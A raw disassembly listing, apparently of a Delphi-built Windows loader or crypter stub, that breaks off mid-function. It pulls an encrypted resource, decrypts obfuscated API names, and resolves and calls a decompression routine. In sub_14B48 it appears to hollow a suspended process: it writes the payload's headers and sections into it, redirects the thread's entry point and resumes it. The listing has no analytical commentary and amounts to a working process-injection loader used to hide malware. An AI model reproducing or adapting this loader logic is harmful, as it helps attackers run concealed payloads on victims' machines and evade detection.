loc_14659:				; DATA XREF: sub_1434C+12o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_1464B
; ---------------------------------------------------------------------------


loc_14660:				; CODE XREF: sub_1434C+30Cj
					; DATA XREF: sub_1434C+2FAo
		mov	esp, ebp
		pop	ebp
		retn
sub_1434C	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 0Ch
dword_1466C	dd 800B2905h, 81D7DC07h, 0AE402AF0h, 0		dd 0FFFFFFFFh, 9
dword_14684	dd 821D3800h, 0DF809E0Eh, 0B2h,	0FFFFFFFFh, 0Ehdword_14698	dd 0BE0D2929h, 0F287DF10h, 0A75E2ABAh, 478h, 0FFFFFFFFh
					; DATA XREF: sub_1434C+7Do
		dd 10h
dword_146B0	dd 9A0B2538h, 0E388D117h, 0A75821ACh, 0B8F0368h, 0
					; DATA XREF: sub_1434C+ACo
		dd 0FFFFFFFFh, 0Ch
dword_146CC	dd 9B0A293Ch, 0DBB0D50Fh, 0A64D2BACh, 0		dd 0FFFFFFFFh, 10h
dword_146E4	dd 0BA0D293Dh, 0D281C20Ah, 0AC430DBAh, 7B2127Fh, 0
					; DATA XREF: sub_1434C+10Co
					; sub_1434C+2B9o
		dd 0FFFFFFFFh, 11h
dword_14700	dd 8A18293Ch, 0D08BC232h, 8F5F3DBBh, 1A51A6Eh, 0		dd 0FFFFFFFFh, 10h
dword_1471C	dd 0BA0D2929h, 0D281C20Ah, 0AC430DBAh, 7B2127Fh, 0
					; DATA XREF: sub_1434C+16Co
		dd 0FFFFFFFFh, 0Eh
dword_14738	dd 8F1C3E2Dh, 0C1B4D516h, 0B1492DB1h, 3678h, 0FFFFFFFFh
					; DATA XREF: sub_1434C+19Co
		dd 0Bh
dword_14750	dd 8B1C3E28h, 0C186D92Eh, 553CBFh, 0FFFFFFFFh, 12h
					; DATA XREF: sub_1434C+1CCo
dword_14764	dd 9A103E39h, 0DC96E007h, 0B15F2BBDh, 1CA71246h, 320Bh
					; DATA XREF: sub_1434C+1FCo
		dd 0FFFFFFFFh, 0Eh
dword_14780	dd 9A0B2538h, 0F288D117h, 0A14322B2h, 0F4Eh, 0FFFFFFFFh
					; DATA XREF: sub_1434C+22Co
		dd 14h
dword_14798	dd 802C3B34h, 0E594D10Fh, 8D5B2BB7h, 10AF246Dh,	6F38220Dh
					; DATA XREF: sub_1434C+25Co
		dd 0
		dd 0FFFFFFFFh, 10h
dword_147B8	dd 830B293Ah, 0C785DE0Bh, 0AD5E1EBBh, 0B91268h,	0
					; DATA XREF: sub_1434C+28Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_147CC	proc near		; DATA XREF: CODE:000150E8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_147F1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_176C8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_147F8


loc_147F0:				; CODE XREF: sub_147CC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_147F1:				; DATA XREF: sub_147CC+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_147F0
; ---------------------------------------------------------------------------


loc_147F8:				; CODE XREF: sub_147CC:loc_147F0j
					; DATA XREF: sub_147CC+1Fo
		pop	ebp
		retn
sub_147CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_147FC	proc near		; DATA XREF: CODE:000150E4o
		sub	ds:dword_176C8,	1
		retn
sub_147FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_14804	proc near		; CODE XREF: sub_14810+2Dp
					; sub_14990+2Cp ...
		test	eax, eax
		jz	short locret_1480D
		sub	eax, 4
		mov	eax, [eax]

locret_1480D:				; CODE XREF: sub_14804+2j
		retn
sub_14804	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14810	proc near		; CODE XREF: sub_14F44+9Bp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		xor	eax, eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_4]
		call	sub_13640
		xor	eax, eax
		push	ebp
		push	offset loc_14951
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_14804
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 4
		jbe	loc_14926
		lea	eax, [ebp+arg_4]
		call	sub_136A0
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	edx, [eax]
		mov	eax, [ebp+arg_0]
		call	sub_136A8
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 80000h
		jbe	short loc_1487B
		mov	[ebp+var_10], 2
		jmp	short loc_14882
; ---------------------------------------------------------------------------


loc_1487B:				; CODE XREF: sub_14810+60j
		mov	[ebp+var_10], 102h


loc_14882:				; CODE XREF: sub_14810+69j
		lea	eax, [ebp+var_18]
		call	sub_13EE0
		mov	edx, [ebp+var_18]
		lea	ecx, [ebp+var_14]
		mov	eax, offset dword_14968
		call	sub_13D74
		mov	eax, [ebp+var_14]
		call	sub_13650
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	ds:hModule, eax
		lea	eax, [ebp+var_20]
		call	sub_13EE0
		mov	edx, [ebp+var_20]
		lea	ecx, [ebp+var_1C]
		mov	eax, offset dword_1497C
		call	sub_13D74
		mov	eax, [ebp+var_1C]
		call	sub_13650
		push	eax		; lpProcName
		mov	eax, ds:hModule
		push	eax		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	ds:dword_176D0,	eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_4]
		sub	eax, 4
		push	eax
		lea	eax, [ebp+arg_4]
		call	sub_136A0
		add	eax, 4
		push	eax
		mov	eax, [ebp+var_C]
		mov	eax, [eax]
		push	eax
		mov	eax, [ebp+arg_0]
		call	sub_136A0
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_176D0
		mov	eax, ds:hModule
		push	eax		; hLibModule
		call	FreeLibrary_0
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		call	sub_136A8
		jmp	short loc_1492E
; ---------------------------------------------------------------------------


loc_14926:				; CODE XREF: sub_14810+39j
		mov	eax, [ebp+arg_0]
		call	sub_134D8


loc_1492E:				; CODE XREF: sub_14810+114j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_14958


loc_1493B:				; CODE XREF: sub_14810+146j
		lea	eax, [ebp+var_20]
		mov	edx, 4
		call	sub_134FC
		lea	eax, [ebp+arg_4]
		call	sub_134D8
		retn
; ---------------------------------------------------------------------------


loc_14951:				; DATA XREF: sub_14810+1Fo
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_1493B
; ---------------------------------------------------------------------------


loc_14958:				; CODE XREF: sub_14810+140j
					; DATA XREF: sub_14810+126o
		mov	esp, ebp
		pop	ebp
		retn	8
sub_14810	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 9
dword_14968	dd 821D3800h, 0DF809E0Eh, 0B2h,	0FFFFFFFFh, 13hdword_1497C	dd 0AA15383Ch, 0DE8BD307h, 0B1493CAEh, 15BF3578h, 252E1Fh
					; DATA XREF: sub_14810+ABo

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14990	proc near		; CODE XREF: sub_14F44+A8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		xor	eax, eax
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_4]
		call	sub_13640
		xor	eax, eax
		push	ebp
		push	offset loc_14A7E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_0]
		call	sub_134D8
		mov	eax, [ebp+arg_4]
		call	sub_14804
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		ja	loc_14A60


loc_149D7:				; CODE XREF: sub_14990+CAj
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	al, [eax+edx-1]
		mov	[ebp+var_6], al
		cmp	[ebp+var_6], 0
		jnz	short loc_14A31
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	al, [eax+edx]
		mov	[ebp+var_5], al
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	sub_14804
		mov	[ebp+var_10], eax
		xor	edx, edx
		mov	dl, [ebp+var_5]
		add	edx, [ebp+var_10]
		mov	eax, [ebp+arg_0]
		call	sub_136A8
		mov	eax, [ebp+arg_0]
		call	sub_136A0
		mov	edx, [ebp+var_10]
		add	eax, edx
		xor	edx, edx
		mov	dl, [ebp+var_5]
		xor	ecx, ecx
		call	sub_12B28
		inc	[ebp+var_4]
		jmp	short loc_14A51
; ---------------------------------------------------------------------------


loc_14A31:				; CODE XREF: sub_14990+58j
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	dl, [edx+ecx-1]
		call	sub_135CC
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+arg_0]
		call	sub_135FC
		mov	eax, [ebp+arg_0]


loc_14A51:				; CODE XREF: sub_14990+9Fj
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jbe	loc_149D7


loc_14A60:				; CODE XREF: sub_14990+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_14A85


loc_14A6D:				; CODE XREF: sub_14990+F3j
		lea	eax, [ebp+var_14]
		call	sub_134D8
		lea	eax, [ebp+arg_4]
		call	sub_134D8
		retn
; ---------------------------------------------------------------------------


loc_14A7E:				; DATA XREF: sub_14990+16o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_14A6D
; ---------------------------------------------------------------------------


loc_14A85:				; CODE XREF: sub_14990+EDj
					; DATA XREF: sub_14990+D8o
		mov	esp, ebp
		pop	ebp
		retn	8
sub_14990	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14A8C	proc near		; DATA XREF: CODE:000150F0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_14AB1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_176CC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_14AB8


loc_14AB0:				; CODE XREF: sub_14A8C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_14AB1:				; DATA XREF: sub_14A8C+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_14AB0
; ---------------------------------------------------------------------------


loc_14AB8:				; CODE XREF: sub_14A8C:loc_14AB0j
					; DATA XREF: sub_14A8C+1Fo
		pop	ebp
		retn
sub_14A8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_14ABC	proc near		; DATA XREF: CODE:000150ECo
		sub	ds:dword_176CC,	1
		retn
sub_14ABC	endp

; [00000006 BYTES: COLLAPSED FUNCTION ExtractAssociatedIconA. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14ACC	proc near		; DATA XREF: CODE:000150F8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_14AF1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_176D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_14AF8


loc_14AF0:				; CODE XREF: sub_14ACC+2Aj
		retn
; ---------------------------------------------------------------------------


loc_14AF1:				; DATA XREF: sub_14ACC+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_14AF0
; ---------------------------------------------------------------------------


loc_14AF8:				; CODE XREF: sub_14ACC:loc_14AF0j
					; DATA XREF: sub_14ACC+1Fo
		pop	ebp
		retn
sub_14ACC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_14AFC	proc near		; DATA XREF: CODE:000150F4o
		sub	ds:dword_176D8,	1
		retn
sub_14AFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14B04	proc near		; CODE XREF: sub_14B48+19Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, 18h
		mov	edx, [ebp+var_4]
		movzx	edx, word ptr [edx+14h]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_14B04	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14B28	proc near		; CODE XREF: sub_14B48+216p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 1Dh
		mov	eax, ds:dword_160A0[eax*4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_14B28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14B48	proc near		; CODE XREF: sub_14F44+D7p

var_15C		= dword	ptr -15Ch
var_B8		= dword	ptr -0B8h
var_AC		= dword	ptr -0ACh
var_90		= dword	ptr -90h
var_60		= word ptr -60h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2D		= byte ptr -2Dh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEA4h
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_13640
		mov	eax, [ebp+var_C]
		call	sub_13640
		xor	eax, eax
		push	ebp
		push	offset loc_14E47
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_1434C
		mov	[ebp+var_D], 0
		lea	eax, [ebp+var_4C]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_12B28
		lea	eax, [ebp+var_90]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_12B28
		mov	[ebp+var_90], 44h
		xor	eax, eax
		mov	al, [ebp+arg_0]
		mov	[ebp+var_60], ax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_13650
		push	eax
		mov	eax, ds:off_160CC
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	loc_14E2C
		mov	[ebp+var_2D], 1
		xor	eax, eax
		push	ebp
		push	offset loc_14E25
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_15C], 10002h
		lea	eax, [ebp+var_15C]
		push	eax
		mov	eax, [ebp+var_48]
		push	eax
		mov	eax, ds:off_160E4
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	loc_14DED
		lea	eax, [ebp+var_18]
		push	eax
		push	4
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_B8]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_4C]
		push	eax
		mov	eax, ds:off_160FC
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	loc_14DED
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_4C]
		push	eax
		mov	eax, ds:off_160E0
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jb	loc_14DED
		cmp	[ebp+var_4], 0
		jz	loc_14DED
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+50h]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+34h]
		mov	[ebp+var_38], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+var_38]
		push	eax
		mov	eax, [ebp+var_4C]
		push	eax
		mov	eax, ds:off_160E8
		mov	eax, [eax]
		call	eax
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_14DED
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+54h]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_4C]
		push	eax
		mov	eax, ds:off_160DC
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	loc_14DED
		mov	eax, [ebp+var_28]
		call	sub_14B04
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_28]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	loc_14D9C
		inc	eax
		mov	[ebp+var_3C], eax
		mov	[ebp+var_20], 0


loc_14D08:				; CODE XREF: sub_14B48+24Ej
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_20]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+eax*8+10h]
		push	eax
		mov	eax, [ebp+var_20]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+eax*8+14h]
		add	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_20]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+eax*8+0Ch]
		add	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_4C]
		push	eax
		mov	eax, ds:off_160DC
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_14D90
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_20]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+eax*8+24h]
		call	sub_14B28
		push	eax
		mov	eax, [ebp+var_20]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+eax*8+8]
		push	eax
		mov	eax, [ebp+var_20]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+eax*8+0Ch]
		add	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_4C]
		push	eax
		mov	eax, ds:off_160F8
		mov	eax, [eax]
		call	eax


loc_14D90:				; CODE XREF: sub_14B48+203j
		inc	[ebp+var_20]
		dec	[ebp+var_3C]
		jnz	loc_14D08


loc_14D9C:				; CODE XREF: sub_14B48+1AFj
		lea	eax, [ebp+var_1C]
		push	eax
		push	4
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_B8]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_4C]
		push	eax
		mov	eax, ds:off_160DC
		mov	eax, [eax]
		call	eax
		test	eax, eax
		jz	short loc_14DED
		mov	eax, [ebp+var_28]
		mov	eax, [eax+28h]
		add	eax, [ebp+var_14]
		mov	[ebp+var_AC], eax
		lea	eax, [ebp+var_15C]
		push	eax
		mov	eax, [ebp+var_48]
		push	eax
		mov	eax, ds:off_160C4
		mov	eax, [eax]
		call	eax
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_2D], al


loc_14DED:				; CODE XREF: sub_14B48+D9j
					; sub_14B48+102j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_14E2C


loc_14DFA:				; CODE XREF: sub_14B48+2E2j
		cmp	[ebp+var_2D], 0
		jnz	short loc_14E11
		push	0
		mov	eax, [ebp+var_4C]
		push	eax
		mov	eax, ds:off_160C0
		mov	eax, [eax]
		call	eax
		jmp	short loc_14E1E
; ---------------------------------------------------------------------------


loc_14E11:				; CODE XREF: sub_14B48+2B6j
		mov	eax, [ebp+var_48]
		push	eax
		mov	eax, ds:off_160D4
		mov	eax, [eax]
		call	eax


loc_14E1E:				; CODE XREF: sub_14B48+2C7j
		mov	al, [ebp+var_2D]
		mov	[ebp+var_D], al
		retn
; ---------------------------------------------------------------------------


loc_14E25:				; DATA XREF: sub_14B48+AEo
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_14DFA
; ---------------------------------------------------------------------------


loc_14E2C:				; CODE XREF: sub_14B48+A1j
					; DATA XREF: sub_14B48+2ADo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_14E4E


loc_14E39:				; CODE XREF: sub_14B48+304j
		lea	eax, [ebp+var_C]
		mov	edx, 2
		call	sub_134FC
		retn
; ---------------------------------------------------------------------------


loc_14E47:				; DATA XREF: sub_14B48+25o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_14E39
; ---------------------------------------------------------------------------


loc_14E4E:				; CODE XREF: sub_14B48+2FEj
					; DATA XREF: sub_14B48+2ECo
		mov	al, [ebp+var_D]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_14B48	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14E58	proc near		; DATA XREF: CODE:00015100o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_14E7D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_176DC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_14E84


loc_14E7C:				; CODE XREF: sub_14E58+2Aj
		retn
; ---------------------------------------------------------------------------


loc_14E7D:				; DATA XREF: sub_14E58+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_14E7C
; ---------------------------------------------------------------------------


loc_14E84:				; CODE XREF: sub_14E58:loc_14E7Cj
					; DATA XREF: sub_14E58+1Fo
		pop	ebp
		retn
sub_14E58	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_14E88	proc near		; DATA XREF: CODE:000150FCo
		sub	ds:dword_176DC,	1
		retn
sub_14E88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14E90	proc near		; DATA XREF: CODE:00015108o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_14EB5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_176E0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_14EBC


loc_14EB4:				; CODE XREF: sub_14E90+2Aj
		retn
; ---------------------------------------------------------------------------


loc_14EB5:				; DATA XREF: sub_14E90+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_14EB4
; ---------------------------------------------------------------------------


loc_14EBC:				; CODE XREF: sub_14E90:loc_14EB4j
					; DATA XREF: sub_14E90+1Fo
		pop	ebp
		retn
sub_14E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_14EC0	proc near		; DATA XREF: CODE:00015104o
		sub	ds:dword_176E0,	1
		retn
sub_14EC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14EC8	proc near		; CODE XREF: sub_14F44+29p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		push	0Ah
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, ds:dword_17650
		push	eax
		mov	eax, ds:off_160C8
		mov	eax, [eax]
		call	eax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, ds:dword_17650
		push	eax
		mov	eax, ds:off_160F4
		mov	eax, [eax]
		call	eax
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, ds:dword_17650
		push	eax
		mov	eax, ds:off_160EC
		mov	eax, [eax]
		call	eax
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, ds:off_160F0
		mov	eax, [eax]
		call	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_14F3D
		mov	eax, [ebp+var_14]
		push	eax
		mov	eax, ds:off_16100
		mov	eax, [eax]
		call	eax


loc_14F3D:				; CODE XREF: sub_14EC8+66j
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_14EC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_14F44	proc near		; DATA XREF: CODE:000151C9o

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		xor	eax, eax
		push	ebp
		push	offset loc_1504A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, offset dword_176E8
		mov	edx, [ebp+arg_8]
		call	sub_14EC8
		mov	ds:dword_176E4,	eax
		cmp	ds:dword_176E4,	0
		jz	loc_15024
		mov	eax, offset dword_176EC
		mov	edx, ds:dword_176E8
		call	sub_136A8
		mov	eax, offset dword_176EC
		call	sub_136A0
		mov	edx, eax
		mov	eax, ds:dword_176E4
		mov	ecx, ds:dword_176E8
		call	sub_128C8
		lea	eax, [ebp+var_10]
		call	sub_13EE0
		mov	edx, [ebp+var_10]
		lea	ecx, [ebp+var_C]
		mov	eax, ds:dword_176EC
		call	sub_13D74
		mov	edx, [ebp+var_C]
		mov	eax, offset dword_176EC
		call	sub_1352C
		mov	eax, ds:dword_176EC
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_14810
		mov	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_14990
		mov	edx, [ebp+var_14]
		mov	eax, offset dword_176EC
		call	sub_1352C
		push	0
		lea	edx, [ebp+var_1C]
		xor	eax, eax
		call	sub_12A6C
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, offset dword_176EC
		call	sub_136A0
		xor	ecx, ecx
		pop	edx
		call	sub_14B48
		test	al, al
		jmp	short loc_1502F
; ---------------------------------------------------------------------------


loc_15024:				; CODE XREF: sub_14F44+3Aj
		push	0
		mov	eax, ds:off_160D8
		mov	eax, [eax]
		call	eax


loc_1502F:				; CODE XREF: sub_14F44+DEj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_15051


loc_1503C:				; CODE XREF: sub_14F44+10Bj
		lea	eax, [ebp+var_1C]
		mov	edx, 5
		call	sub_134FC
		retn
; ---------------------------------------------------------------------------


loc_1504A:				; DATA XREF: sub_14F44+Fo
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_1503C
; ---------------------------------------------------------------------------


loc_15051:				; CODE XREF: sub_14F44+105j
					; DATA XREF: sub_14F44+F3o
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_14F44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1505C	proc near		; CODE XREF: CODE:0001515Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0Ch
		jge	short loc_15074
		jmp	short loc_15074
; ---------------------------------------------------------------------------
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0Ch


